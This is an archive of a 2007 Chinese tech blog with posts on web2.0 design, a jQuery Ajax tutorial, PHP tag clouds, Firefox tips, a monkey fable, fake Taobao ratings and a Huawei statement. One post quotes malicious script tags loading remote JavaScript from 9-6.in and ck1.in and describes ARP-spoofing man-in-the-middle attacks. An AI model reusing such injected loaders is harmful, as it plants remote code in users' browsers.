新鲜、有趣,互联生活。令狐葱。

2007/07/31

12步让你的web1.0变成web2.0

原作者: slayerment    译者: 令狐葱  

 现在不是80年代了。互联网已经成为每个人生活中的一部分。你的那个陈旧过时的网站要不要也加入进来呢?如果你比较上进的话我想你的回答应该是 "YES"。不管web2.0是多么的让人讨厌,我还是收集了12个条目,让你可以轻松的把你的web1.0的网站升级到web2.0。

1. 把esomething.com 换成 MYsomething.com

如果你的网站域名前面有个蹩脚的"e",那就说明你的网站不是web2.0的。很容易觉得你的网站是个电子产品罢了。如果你在域名前用的是"my",这样看起来就亲切多了。

2. 把字体从10px变到12-16px

没人人喜欢虐待自己的眼睛。去掉字体很小的文本,为我们这些高效率的人士换成大的容易阅读的文本吧!

3. 把category 换成tag

如果你的网站只是限定在特定的分类,别人有什么理由阅读它呢?你的内容应该被动态的做上标签(tag),因此每个人都可以跟踪到他自己关注的某一方面。加个标签云吧!

4. 把新闻板块换成blog

人们想知道的关于公司的消息不仅仅只是那些官方的新闻。写一些很酷的、有趣的、傻傻的,什么都行!做此的一半目的是让你的读者觉得很享受。

5. 把邮寄给朋友换成RSS订阅

上次你给朋友email一个文章是什么时候?你用过它么?我是一次都没用过。去掉这个没用的功能,然后加上通过rss订阅你的网站甚至...

6. 把 加入到收藏夹 变成 social network this

你不能只让看到你网站的用户收藏它,使用 del.icio.us 以及Digg等社会化收藏网站吧,这样就可以想每个人展示你的网站。

7. 把用户账户 改成user profile (档案)

没人喜欢那十分单调的用户页,只有一个用户名和email(没错,我是再说Amazon)。他们需要一个丰富多彩的页面,可以展示他整个生活以及让全世界知道他有多棒。让你的用户加入进来吧!

8.  把硬编码的html 变成语义级html并使用css

总的来说你的设计很酷,但是你怎么升级它?你怎么改变它呢?如果需要增加新内容的时候你都怎么做(这点尤为重要)?去掉你旧的编程习惯,使用用css控制样式的语义html吧,对每个人来说这都是最好的选择!拜托!

9.  要得是用户不是点击率。

再次声明,现在不是80年代了,所以我们已经不在关注点击率了。我们关心的是用户(是的,唯一的用户)。在你的网站上放上Google Analytics,不要再谈论什么点击率了!

10. 增加评论功能

用户有发表以及分享的欲望,不要阻止他们,这对你的网站以及搜索引擎都有好处。

11. 把 esite.com?id=5235&sort=desc&useless=this &one%20more=still%20useless 这样的地址变成 mysite.com/meaningful-title

这个不用多说了吧

12. 把自建的网站换成开源的CMS

想想吧,扔掉你的整个网站,然后下载一个Drupal 或者Wordpress ,然后开始找一些免费的模板。毕竟,用户不是特别在乎你的网站到底是什么样。他们宁愿上一个感兴趣但是界面丑陋的网站,也不愿去光顾一个漂亮但是空无一物的网站。现在就开始行动吧!

结论

人们并不像使用一本书那样来使用网站。他们希望参与以及有所贡献。总之,让你的用户成为你网站的一部分,而不是要什么点击量。

2007/07/30

道德的起源(Z)

把五只猴子关在一个笼子里,上头有一串香蕉实验人员装了一个自动装置
  一旦侦测到有猴子要去拿香蕉,马上就会有水喷向笼子而这五只猴子都会一身湿
  首先有只猴子想去拿香蕉,当然,结果就是每只猴子都淋湿了
  之後每只猴子在几次的尝试後,发现莫不如此
  於是猴子们达到一个共识:不要去拿香蕉,以避免被水喷到
  後来实验人员把其中的一只猴子释放,换进去一只新猴子A
  这只猴子A看到香蕉,马上想要去拿
  结果,被其他四只猴子海K了一顿
  因为其他四只猴子认为猴子A会害他们被水淋到,所以制止他去拿香蕉.A尝试了几次,虽被打的满头包,依然没有拿到香蕉
  当然,这五只猴子就没有被水喷到
  後来实验人员再把一只旧猴子释放,换上另外一只新猴子B
  这猴子B看到香蕉,也是迫不及待要去拿
  当然,一如刚才所发生的情形,其他四只猴子海K了B一顿
  特别的是,那只A猴子打的特别用力(这叫老兵欺负新兵,或是媳妇熬成婆 ^O^)
  B猴子试了几次总是被打的很惨,只好作罢
  後来慢慢的一只一只的,所有的旧猴子都换成新猴子了,大家都不敢去动那香蕉
  但是他们都不知道为什麽,只知道去动香蕉会被猴扁
  这就是道德的起源
  
  -阶级的起源-
  
  实验人员继续他们的实验,不过这一次他们改变了喷水装置
  一旦侦测到有猴子要去拿香蕉,马上就会有水喷向拿香蕉的猴子,而不是全体
  然后实验人员又把其中的一只猴子释放,换进去一只新猴子C
  不同以往的是猴子C特别的孔武有力
  当然猴子C看到香蕉,也马上想要去拿
  一如以前所发生的情形,其他四只猴子也想海K猴子C一顿
  不过他们错误估计了C的实力,所以结果是反被C海K了一顿
  于是猴子C拿到了香蕉,当然也被淋了个透湿
  C一边打着喷嚏一边吃着香蕉,美味但是也美中不足
  A、B、D、E没有香蕉吃却也比较快乐,毕竟没有被淋到嘛
  后来C发现只有拿香蕉的那个才会被淋到,他就要最弱小的A替他去拿
  A不想被K,只好每天拿香蕉然后被水淋
  B、D、E越发的快乐了起来,这就叫比上不足,比下有余嘛 :)
  于是五只猴子有了三个阶级
  这下子阶级也随着道德的起源了
  
  -道德的沦丧-
  
  天变热了,笼子里的猴子们想冲凉却找不到地方。终于出现了一位反潮流英雄,猴子
  HERO。HERO在无意中碰到了香蕉,理所当然的引来了一顿饱打。但在挨打的过程中,猴子
  们享受到了冲凉的乐趣。等身上 的水干了之后,猴子A在无意中碰撞了HERO,使HERO
  又一次接触到了香蕉,于是,猴子们享受了第二次冲凉,HERO遭到了第二次痛殴。
  
  在此之后,只要大家有冲凉的需要,就会有一只猴子X挺身而出,对HERO进行合理冲撞。
  大家对HERO的态度也有了明显的不同,在平时大家会对HERO异常温和,以弥补在冲凉时
  为维护规则而不得不对它进行的暴力举动。
  
  一天,在大家冲凉时,饱受折磨的HERO闻到了香蕉的清香,生物本能使它在别的猴子心
  有旁鹜时将香蕉吃了。而且此后没有了新的香蕉来填补空缺。猴子们陷入了另一个尴尬境地:没有冲凉的水,也没 有香蕉,只有HERO。
  
  于是,另一个规则形成了。猴子在烦躁的时候会痛打HERO出气,HERO不得反抗。
  当笼子里的旧猴子被新猴子换掉时,新猴子会在最快的时间内学会殴打HERO。
  
  终于有一天,老天有眼,历尽沧桑的HERO被另一只猴子代替了。猴子们失去了发泄的
  对象,只能任意选取一个目标进行攻击。从此以后,笼子里的猴子们不吃不喝不冲凉,
  唯一的举动就是打架。
  
  这就是道德的沦丧。
  
  -道德的重建-
  
  实验人员对猴子们的争斗不休感到不安。为了重建道德秩序,他们决定继续供应香蕉。
  一天,正在混战的猴子们发现头顶多了一串香蕉,它们其中的一个A不顾身上的剧痛,把
  香蕉摘了下来。于是久违的甘露出现了,未曾尝过甜头的猴子们先是茫然失措,继而争
  先恐后的加入冲凉的行列。香蕉反而被遗忘了。当猴子B、C、D、E发现A在享受淋浴的同
  时还吃着美味的香蕉,嫉妒心使它们暂时团结起来,共同K了A一顿,将A吃剩的香蕉夺过
  来,但是,此刻的香蕉成了匹夫怀里的宝玉,得到它的猴子虽然可以享受美味,但付出
  的代价也是巨大的。
  
  实验人员不断放入香蕉,却发现战斗比以前更激烈了。分析清楚原因后,他们用木头做了
  一个假香蕉扔进了笼子。此时猴子们已经学聪明了,它们知道触摸香蕉可以享 淋浴, 而试图独占香蕉则会遭到痛扁。于是,一个新的现象出现了,当猴子们有冲凉的需要时,会有一只猴子将香蕉拿起来,而当它发现有遭到攻击的可能时,它会马上放下香蕉逃到一边去。这样,猴子们都能冲凉,但是又不至于再象以前那样N败俱伤。
  
  没有猴子发现那个香蕉是假的。
  
  -信仰的起源-
  
  五只猴子A、B、C、D、E三个阶级快乐地生活了很久
  他们精确的给出了三个阶级的定义,即吃香阶级、拿香阶级和干看着阶级
  可惜猴子A由于长期的水中作业无可避免地引发了它肺部功能的衰竭
  一天他在例行的拿香蕉作业中跌倒了就再也没有爬起来
  于是实验人员又送进了一只同样孔武有力的猴F
  当然他还是对屋顶的香蕉很有兴趣
  不幸的是他最终以微弱的劣势被以C为首的群猴再次海K
  第二天,又到了拿香蕉的时候
  猴子C很无所谓,反正他还要吃香蕉,反正他不会被水淋到
  真正恐慌的是B、D、E三猴
  F是那么的健壮,他们这些媳妇是熬不成婆了 :(
  他们将面临一个艰难的抉择,谁该去步A的后尘?
  猴子B、D、E展开了激烈的争论,讨论谁最应该做下一个拿香阶级
  猴子F很奇怪也很好奇,什么叫"拿香阶级"呢?
  猴子B、D、E解释道:所谓"拿香阶级"就是猴子界勇敢者的阶级
  需具备一不怕苦二不怕死的大无畏精神方能得此殊荣
  猴子F闻听不禁有些神往,有些跃跃欲试
  当然他最终达到了目的,作了唯一的拿香阶级
  再后来,B、D、E三猴陆续被换出局,换来的猴子个个健壮如C
  他们继续大大出手,不过目标不是香蕉,而是那个唯一的拿香阶级
  
  于是信仰也出现了
  
  -迷信的起源-
  
  迷信的起源
  
  后来A终于被好心的实验人员拉出了苦海。
  
  新来了猴子F
  
  C觉得有必要维护自己的阶级地位,B、D、E则生怕自己顶了A的缸…… 在各种复杂心情的作用下,B、D、E在C的带领下爆扁了F一顿,然后强令F做拿香蕉阶级。
  
  F开始不乐意,后来慢慢在B等的劝说下等"待多年的媳妇熬成婆"这一宿命。
  
  慢慢的老资格的B、D、E猴子渐渐被淘汰,C发现自己在体力上不再占有优势,很难再通过武力让这一游戏规则继续下去,觉得十分苦恼。
  
  这时,一只最有希望升级为吃香蕉阶级(暨C的理所当然接班人)也是C谋臣的H向C进言。于是君臣定计。
  
  H开始依靠自己多懂几种猴语而在其他若干猴面前树立的权威形象向其他猴鼓吹:"每一只新来笼子的猴子都是有罪的,这种罪责来自血统。……只有摘香蕉的猴子才能被(实验人员)送到天堂。"
  
  事实上,因为被水冲很容易得肺炎病倒而被实验人员淘汰掉,猴子们不知道反而以为被淘汰的猴子真的进了天堂。
  
  渐渐,猴子都相信了这套理论,并且讲给每一只新猴子听。
  然后就这么流传下去越传越神奇。以至于后来摘香蕉阶级的猴子都为了能摘香蕉而大打出手。……
  
  这些都是C没有想到,H没有看到的,那时他们都已经死了。
  然而迷信就这么诞生了。

《北京商报》:所谓的钻石信用(Z)

在淘宝网买东西,大家都会关注的就是卖家的信用等级,那些跟在网名之后的钻石或者心形符号既是交易系统对卖家此前交易的好评积累,也是对网店信用最直观的表述,因此很多买家都是非"钻石"级店铺不入.
   然而,就在网友发帖报料网店所售服装利润惊人之后,数家所谓的"淘宝信用工作室"、"钻石信用服务公司"又被踢破.这些公司的服务内容无外乎推销"钻 石"和心形符号,利用发布虚拟的网上交易好评让原本无人问津的网店一夜之间不但交易连连,而且好评如潮,迅速坐上"钻石"级卖家的宝座,从而进入"生意越 来越好,信用越来越高"的"正向循环".

信用服务听上去神秘,炮制原理却很简单.服务商只需注册几个不同的账户,然后到被"服务"的网店里疯狂"购物"并不断好评,这家店铺的信用度自然就会迅速飙升,从而吸引买家的眼球.当然,"服务交易"过后,店主要将货款原样送回,顺便交上的还有数百元的信用服务费.

   "出售信用"之所以可行,不外乎依靠两点:一,淘宝交易不收费,制造这种假钻石的"锆石工程"只需要体力;二,一般买家只关心信用评价,很少留意记录里 的具体交易信息,购买选择很大程度上依靠简单的"钻石"数量排序,在这种大背景下,"做信用"当然也就成了火热的无本生意.

  信用是一种经不起勾兑的脆弱体系,一向是劣币驱逐良币的重灾区.如果网店满眼闪亮的都是锆石的光彩,辛苦积攒"钻石"的守法卖家反而会承担"做假"的嫌疑,甚至让买家一看到"钻石"就心存疑虑.原本为了降低交易成本而生的规则,一旦倒下,立刻会变成新的门槛.

转自:cnbeta

2007/07/29

机子中了ARP病毒

今天打开网页的时候发现一片乱码,查看源文件看到在开头有如下一句:
[script src=http://9-6.in/n.js>[/script>
或者[script src=http://ck1.in/n.js>[/script>
这就是传说中的ARP欺骗了,看来是教研室某位同学的机子中毒了。可是为什么我遭殃呢?看一下ARP的原理:
 
在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的。ARP协议对网络安全具有重要的意义。通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。 

  ARP协议是"Address Resolution Protocol"(地址解析协议)的缩写。在局域网中,网络中实际传输的是"帧",帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。所谓"地址解析"就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。 

  每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的,如下表所示。   

  主机 IP地址 MAC地址 

  A 192.168.16.1 aa-aa-aa-aa-aa-aa 

  B 192.168.16.2  bb-bb-bb-bb-bb-bb 

  C 192.168.16.3 cc-cc-cc-cc-cc-cc 

  D 192.168.16.4 dd-dd-dd-dd-dd-dd   

  我们以主机A(192.168.16.1)向主机B(192.168.16.2) 发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到相对应的IP地址,主机A就会在网络上发送一个广播,目标MAC地址是"FF.FF.FF.FF.FF.FF",这表示向同一网段内的所有主机发出这样的询问:"192.168.16.2的MAC地址是什么?"网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:"192.168.16.2的MAC地址是bb-bb-bb-bb-bb-bb"。这样,主机A就知道了主机B的MAC地址,它就可以向主机B发送信息了。同时它还更新了自己的ARP缓存表,下次再向主机B发送信息时,直接从ARP缓存表里查找就可以了。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询速度。 

  从上面可以看出,ARP协议的基础就是信任局域网内所有的人,那么就很容易实现在以太网上的ARP欺骗。对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如果进行欺骗的时候,把C的MAC地址骗为DD-DD-DD-DD-DD-DD,于是A发送到C上的数据包都变成发送给D的了。这不正好是D能够接收到A发送的数据包了么,嗅探成功。 

  A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了。D对接收到A发送给C的数据包可没有转交给C。 

  做"man in the middle",进行ARP重定向。打开D的IP转发功能,A发送过来的数据包,转发给C,好比一个路由器一样。不过,假如D发送ICMP重定向的话就中断了整个计划。 

  D直接进行整个包的修改转发,捕获到A发送给C的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在D就完全成为A与C的中间桥梁了,对于A和C之间的通讯就可以了如指掌了。 
以上信息摘自这里。在这里下载了AntiARP,可惜只能用15天。网上诱人的解决方案如下:
 
找到被攻击的那一台电脑或服务器,过去关闭掉,或者整理下.最好的方法是把那台电脑的MAC与IP绑定下.
方法如下:
打开"开始"菜单-输入"CMD"-弹出一个框来之后,输入命令"ipconfig /all"查到IP与网卡MAC后,进行绑定.
方法: arp -s 192.168.1.17 **.**.**.**
注:(**.**.**.**就是网卡的MAC)
最后回车,搞定...重启电脑.问题解决.
 
可惜我不知道是谁的机器中毒。
现在还没有解决彻底,郁闷哪

2007/07/28

Easy Ajax with jQuery[令狐葱翻译版]

原文作者:Akash Mehta
原文地址:http://www.sitepoint.com/article/ajax-jquery
翻译:令狐葱 (转载请注明以上信息)


Ajax 在改变着web应用,并且带来了一种前所未有的桌面应用程序之外的震撼。但是,在这些宣传的背后我们应该意识到,其实ajax不过是——(X)HTML,Javascript以及XML,没什么新鲜的.在这个教程中,我将给你展示如何让简单的添加ajax到你的应用中去,并且教你如何使用一个流行的javascript库Jquey进行ajax开发.

1. 什么是ajax

你以前可能听说过ajax,或者至少用过ajax的应用--比如Gmail.简单的说,ajax就是使用javascript来异步地处理数据,而不是一下子重载整个页面.SitePoint上有个教程a good introduction to Ajax.另外,ajax这个词出自Jesse James Garrett的这篇著名的文章.

不幸的是,关于ajax深入的实践教程可以说少之又少,还有就是ajax中使用的XMLHttpRequest 类对初学网页开发的人来说有很大的难度.不过庆幸的是有一大批javascript库相继出现,为实现ajax提供了简单的方法.我们今天要用到的Jquery就是其中之一.

2. 什么是JQuery

Jquery是一个成熟的Javascript库,它提供许多其他库没有的特性.当然也得承认,它有19K之大,不想moo.fx那样只有3KB之轻.你可以在这里看到对许多javascript库性能以及其他方面的比较数据.

3. 先验知识

要学习此教程,你需要有基本的javascript只是,如果你懂c风格的语言,那么你可以对javascript很快上手.其实不过是大括号,函数声明以及可有可无的行末分号(对Jquery来说;为必须).如果你想学习javascript,可以看这个教程. 另外,既然我们讨论的是web应用,基本的html只是自然是必不可少的.

4. Jquery 101

让我们简单浏览一下jQuery.要想使用jQuery,首先你必须下载这个库.下载地址在这里(目前版本1.1.2).jQuery的语法非常简单:找到,然后做.我们从文档中选择元素则使用$().这个符号就相当于 document.getElementById(),不过除了支持ID外,它还支持css选择符以及一些XPath选择符. 而且,它可以返回一个元素的数组.好,也许举个例子可以更好的说明$()的功能.

我们想使用函数来操作我们的选择符.比如,把
"Hello World!" 添加到每个class为foo的div上去,然后设置颜色为红色,我们可以这样写代码:

$("div.foo").append("Hello World!").css("color","red");

很简单啊!一般情况下,这需要两行代码来完成:

$("div.foo").append("Hello World!");

$("div.foo").css("color","red");

jQuery的链接方法可以是允许你连写你的代码,这点别的库恐怕没有.有很多jQuery的函数不需要对象,也就是说独立工作,许多ajax相关的函数都这样.比如,我们将会使用的post函数,调用方式为$.post(parameters). 更多jQuery函数信息可以来online documentation 或者 visualjquery.com.

5. 示例一:我们的第一个ajax程序

作为一个例子,我们将做一个交互概念生成器.简单的说就是让我们从列表中随机选择两个选项,然后组合成一个词组.这个例子中我们将使用web2.0特性的词语(像'Mashup', 'Folksonomy', 'Media' 等等),通常情况下我们从文本文件中获得这些选项.为节省用户用javascript下载每一个组合(或者至少每一个元素)的时间,我们将在服务器端快速生成它,并且使用jQuery在客户端获取到它.jQuery可以很好的和javascript结合使用,所以你将发现在代码中使用它将使工作变得十分容易.

服务器端代码(php):
简单起见,我们使用最简单的代码来做我们的概念生成器.不要担心他是如何工作的,注意看它是干什么的:输出一句话.注意,这段代码没有输出xml,他只是输入一个纯文本:

<?php

header("Cache-Control: no-cache");

// Ideally, you'd put these in a text file or a database.

// Put an entry on each line of 'a.txt' and use $prefixes = file("a.txt");

// You can do the same with a separate file for $suffixes.

$prefixes = array('Mashup','2.0','Tagging','Folksonomy');

$suffixes = array('Web','Push','Media','GUI');

// This selects a random element of each array on the fly

echo $prefixes[rand(0,count($prefixes)-1)] . " is the new "

. $suffixes[rand(0,count($prefixes)-1)];

// Example output: Tagging is the new Media

?>


这里,我们使用 Cache-Control 头选项是因为IE总是为同一个地址建立缓存,甚至页面内容有变化时也是.很明显,这对我们的例子很不利,因为我们在每次加载的时候重新生成一句话.我们也可以使用jQuery生成一个随机数加到地址的后边,不过这不像在服务器端这样处理比较简单.[译者著:其实作者在这里提供了ajax和IE cache冲突的两种解决方案.]

客户端代码(html)

可以开始编写前端代码了,然后我们就可以把ajax加进去了. 我们需要做的仅仅是加一个按钮,好让用户点击一下获得一句新的语句,还有一个div标签,好让我们在从服务器端接收到语句的时候显示在div里面.我们将使用jQuery选中这个div以及加载返回的那句话,我们可以使用div的id来引用它. 如果需要,你可以加载这句话到不同的元素标签中,这可能需要使用class了.不过这里,我们仅仅需要使用id就够了.此页面body标签中的内容为:

<input type="submit" id="generate" value="Generate!">

<div id="quote"></div>

一般说来,我们需要为这个按钮(就是这个id为generate的input)加上一个冗长的
onSubmit 事件. 有时,我们用onSumit事件调用一个Javascript函数. 但是在jQuery里面,我们设置不需要修改任何html代码,我们可以简单的实现行为(事件处理)和结构(html代码)的分离.

客户端代码(jQuery)

终于该使用jQuery把我们的后台和前台结合到一起了.前面我提到我们可以使用jQuery从DOM中选择元素. 首先,我们应该ixuanze这个按钮,并给它一个onClick事件响应. 在这个事件代码中,我们可以选中div并且载入内容.下面是click事件响应的写法:

$("element expression").click(function(){

// Code goes here

});

可能你已经知道,在CSS里选择一个元素的时候我们使用#来使用元素的id属性. 你可以在jQuery里使用同样的语法.因此,要选择那个按钮,我们可以使用#generate. 注意,这种语法可以让我们把事件处理函数定义成匿名的.

Mark Wubben's JavaScript Terminology page 提供了详细的关于匿名函数的解释,有兴趣可以参考.

我们将要使用jQuery中一个比较高级的ajax函数:load(). 假设我们的代码保存为script.php.我们这样把它和我们的客户端整合起来:

$("#generate").click(function(){

$("#quote").load("script.php");

});

只有:3行代码!现在我们已经做了一个完整的ajax随机语句生成器了!不错!

问题是javascript代码并不是在一个浏览器加载完就执行的函数内. 这样的话,这段代码就会试图去关联一个可能还没有被加载的元素.一般情况下我们使用window.load来处理这个问题,不过这种方法的局限性在于,window.load只在所有的东西(图片及其它)被加载完成后加载一次.我们对等待这些图片的加载可能毫无兴趣--我们只是需要去获得DOM中的元素罢了.

幸运的是,jQuery有一个
$(document).ready()函数,如其名,它在DOM被加载完之后就被执行.

完整的代码

下面是完整的代码,使用
$(document).ready()以及一些简单的html和css:

<html>

<head>

<title>Ajax with jQuery Example</title>

<script type="text/JavaScript" src="jquery.js"></script>

<script type="text/JavaScript">

$(document).ready(function(){

$("#generate").click(function(){

$("#quote p").load("script.php");

});

});

</script>

<style type="text/css">

#wrapper {

width: 240px;

height: 80px;

margin: auto;

padding: 10px;

margin-top: 10px;

border: 1px solid black;

text-align: center;

}

</style>

</head>

<body>

<div id="wrapper">

<div id="quote"><p> </p></div>

<input type="submit" id="generate" value="Generate!">

</div>

</body>

</html>


代码可以在这里下载,注意你的jquery需要保存在php文件的同目录,并且名为 jquery.js .现在你已经熟悉jQuery了,让我们做些更复杂的:表单元素和XML处理,这才是真正的ajax!

预知后事如何,且听下回分解.

Powered by ScribeFire.

2007/07/27

[PHP+MySql]解决 supplied argument is not a valid MySQL result resource...

问题描述
在使用mysql_num_rows()函数的时候出现警告:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource...

非完美解决方案
在mysql_num_rows函数前加@,即写成
$num = @mysql_num_rows($result);

PS:@符号即为禁止显示出错信息,不知用在此处何意。

Tag Clouds 的一个PHP+MySql 实现

Tag Clouds 的一个很不错的实现,简单易用,代码来自这里,可以参考这里

 <?php

// connect to database at some point

// In the SQL below, change these three things:
// thing is the column name that you are making a tag cloud for
// id is the primary key
// my_table is the name of the database table

$query = "SELECT thing AS tag, COUNT(id) AS quantity
FROM my_table
GROUP BY thing
ORDER BY thing ASC";

$result = mysql_query($query);

// here we loop through the results and put them into a simple array:
// $tag['thing1'] = 12;
// $tag['thing2'] = 25;
// etc. so we can use all the nifty array functions
// to calculate the font-size of each tag
while ($row = mysql_fetch_array($result)) {

$tags[$row['tag']] = $row['quantity'];
}

// change these font sizes if you will
$max_size = 250; // max font size in %
$min_size = 100; // min font size in %

// get the largest and smallest array values
$max_qty = max(array_values($tags));
$min_qty = min(array_values($tags));

// find the range of values
$spread = $max_qty - $min_qty;
if (0 == $spread) { // we don't want to divide by zero
$spread = 1;
}

// determine the font-size increment
// this is the increase per tag quantity (times used)
$step = ($max_size - $min_size)/($spread);

// loop through our tag array
foreach ($tags as $key => $value) {

// calculate CSS font-size
// find the $value in excess of $min_qty
// multiply by the font-size increment ($size)
// and add the $min_size set above
$size = $min_size + (($value - $min_qty) * $step);
// uncomment if you want sizes in whole %:
// $size = ceil($size);

// you'll need to put the link destination in place of the #
// (assuming your tag links to some sort of details page)
echo '<a href="#" style="font-size: '.$size.'%"';
// perhaps adjust this title attribute for the things that are tagged
echo ' title="'.$value.' things tagged with '.$key.'"';
echo '>'.$key.'</a> ';
// notice the space at the end of the link
}

?>

FireFox内存占用居高不下怎么解决

FireFox的内存占用高向来让人烦恼,下面是网上流传甚广的6招解决方案,不过用起来也不会很理想,仅供参考。

检查扩展和主题。当你的 Firefox 内存占用超高时,你首先应该想到的问题就是扩展。通常我采用的方法是禁用一部分我认为有问题的扩展,如果内存占用明显下来了,再逐个启用,知道找到罪魁祸首直接卸载。

另外,原文提到的利用 Firefox 安全模式来进行调试的方法也不错,特别是对于出现比较大的问题或是配置有问题时,这个方法比较奏效。进入 Firefox 安全模式的方法是:关掉 Firefox,开始->运行:Firefox -safe-mode;

检查插件。据我经验,插件出问题的概率很小,出了问题也很难解决,所以我每次基本不排查它们。例如,当你在一个网络环境不是很好的条件下,在 Firefox 中开启一个 PDF 文档,Firefox 基本上 90% 会挂掉。但明知这个问题,我们也没什么好办法来解决。

删除下载历史。Firefox 默认是记录下载历史的,原文章说如果下载历史过多的话,很有可能造成高内存占用,甚至使 Firefox 无响应。所以我们还是定期将其清空的好。当然,还有一招,在选项->隐私中去掉"记录下载历史",Firefox 干脆就不再记录了,一劳永逸。

定时重新启动 Firefox。我要承认这是最有效的方法,我经常采用。当然建议您安装一个 Session Restore 类的扩展(如 Session Saver,Tab Mix Plus 或 Google Sync),这样当您重新开启 Firefox 时,可以非常快恢复到原来的状态。

最小化释放内存。在地址栏输入 about:config,然后新建一个名为 config.trim_on_minimize,并设定值为 true,重新启动 Firefox,这样当 Firefox 最小化时就会释放内存占用。(很有效)

为 Firefox 分配指定大小的内存缓存。这招我之前没实践过,正好试试。方法很简单,在地址栏输入 about:config,利用过滤器找到 browser.cache.memory.enable,更改它的值为 true;新建一个整数值,名为 browser.cache.memory.capacity,按照如下方案设定其值:

  • 256M 内存=> 4096
  • 512M 内存 => 8192
  • 1G 内存=> 16384

重启 Firefox 即可。

这里还有详细操作过程和图解,另外有小朋友做了一个内存释放工具,不过用了一下发现,当时少了不少,但是一下子又全上去了!!!郁闷,谁有更完美的解决方案?有人说不用插件,我承认,确实可以。但是,没有插件的Firefox,我还有用它的理由么?

Window Clippings:多窗口截图软件

Window Clippings 是个很不错的截图软件,其最大的特色就是可以同时截取多个窗口,而且可以设置背景透明,比较实用。

test

下载地址官方网站

2007/07/26

Tag Clouds标签云的实现

关于Tag Clouds,可能网上见过不少,不过具体的实现说的不多,在24Way上看到一个不错的文章,先是把delicious、flickr、Technorati等web2.0大家的tag clouds 表现形式逐一批判了一下,然后提出了自己的一个解决方案。总的来说,还比较简单,不过我在想,到底是根据什么来分这个等级呢?如果仅仅是个数字,那这个数字是多少才算个界限呢?

文章中的方法实现如下(可以直接在这里查看源代码):
CSS: 

  1. <style type= 'text/css'>
  2. /* display the individual items next to each other, not one-per-line */
  3. .tag-cloud li { display: inline; }
  4. /* hide the extra context from CSS-enabled browsers, but not screenreaders */
  5. .tag -cloud span { position: absolute; left: -999px; width: 990px; }
  6. /* size is purely presentational, based upon the class */
  7. . tag-cloud .not-popular { font-size: 1em; }
  8. .tag-cloud .not-very-popular { font-size: 1.3em; }
  9. .tag-cloud .somewhat-popular { font-size: 1.6em; }
  10. .tag-cloud .popular { font-size: 1.9em; }
  11. .tag-cloud .very-popular { font-size: 2.2em; }
  12. . tag-cloud .ultra-popular { font-size: 2.5em; }
  13. </style>
  14.  
HTML:
  1.  
  2. <ol class='tag-cloud'>
  3. <li class="somewhat-popular"> <span>44 photos are tagged with </span> <a href='http://flickr.com/photos/mn_francis/tags/125shaftesburyavenue/' class='tag'>125 Shaftesbury Avenue</a> </li>
  4. <li class="not-popular" ><span>2 photos are tagged with </span> <a href='http://flickr.com/photos/mn_francis/tags/airlinefood/' class='tag'>airline food</a> </li>
  5. <li class="ultra-popular" ><span>344 photos are tagged with </span> <a href='http://flickr.com/photos/mn_francis/tags/austin/' class='tag'>austin</a> </li>
  6. <li class="not-very-popular" ><span>12 photos are tagged with </span> <a href='http://flickr.com/photos/mn_francis/tags/badjoke/' class='tag'>bad joke</a> </li>
  7. ........
  8. </ol>
  9.  

[CSS]长字符串截取问题

经常会碰到很长很长的地址,往往容易把框架撑破,显示很不美观。一种稍显勉强的解决方案是多出部分不显示,也就是使用overflow。

示例:
.content {
    width:200px;
    /* 禁止自动换行 */
    white-space:nowrap;
    /* 隐藏超出部分 */
    overflow:hidden;
    /* 用省略号代替结尾, 只对 IE6+有效 */
    text-overflow:ellipsis;
}

华为技术有限公司关于张锐事件的声明(Z)

  关于华为员工张锐事件,华为发表声明如下: 

   华为员工张锐(工号69016),男,年龄26岁,毕业于武汉大学,2007年5月11日加入华为。参加为期二周的新员工培训后,于2007年5月25 日到华为供应链管理部报到,工作岗位为物料品质部元器件工程师,试用期期间无正式工作任务,主要是在导师指导下学习物料品质相关的工作流程和工作方法。根 据公司考勤系统自动记录的由张锐自行刷卡登记的考勤记录显示,张锐于华为公司工作期间,只有4天于晚上20:30左右离开公司,其他均为正常下班时间离 开。 

  该员工于7月17日通过导师请病假一天,7月18日上午又电话续请病假一天,当天被警方发现在某商业住宅小区自杀身亡。 

  华为对张锐的离世表示极大惋惜,对张锐的家人表示深切的慰问。华为成立了专门的小组帮助张锐家属妥善处理善后事宜。从张锐不幸去世以来,华为一直尽力帮助家属处理善后事宜,第一时间派人到火车站接车、免费安排其父母食宿、在家属有需求的情况下派人、派车协助等。 

   华为已依法为张锐缴纳了社保,根据国家社保法规,自杀身亡的员工除了由社保机构给予上年度城镇职业社会平均工资的三倍(深圳是8778元)作为丧葬金以 外,不享受其他任何待遇。除了社保之外,华为已为全体员工购买了商业人身意外险、商业寿险、商业重大疾病险等商业保险,但由于自杀身亡属于保险免赔责任范 围,所以该员工无法获得商业保险的赔付。 

  华为始终关注员工的心理健康,在公司内部提供了多种心理咨询渠道,包括老专家沟通、健康指导中心心理热线以及外部的心理医生等。 

  华为技术有限公司 

  二OO七年七月二十五日

看图不说话:两封邮件


2007/07/25

十面埋妇:不错的博客电影

王小峰的第二部博客电影,可以说已经很具专业水准了,比很多所谓的大片好看多了:》比较欣赏里面的台词,嬉笑怒骂、明嘲暗讽,看来编剧还是蛮有水平的(是在夸王小峰了:》)
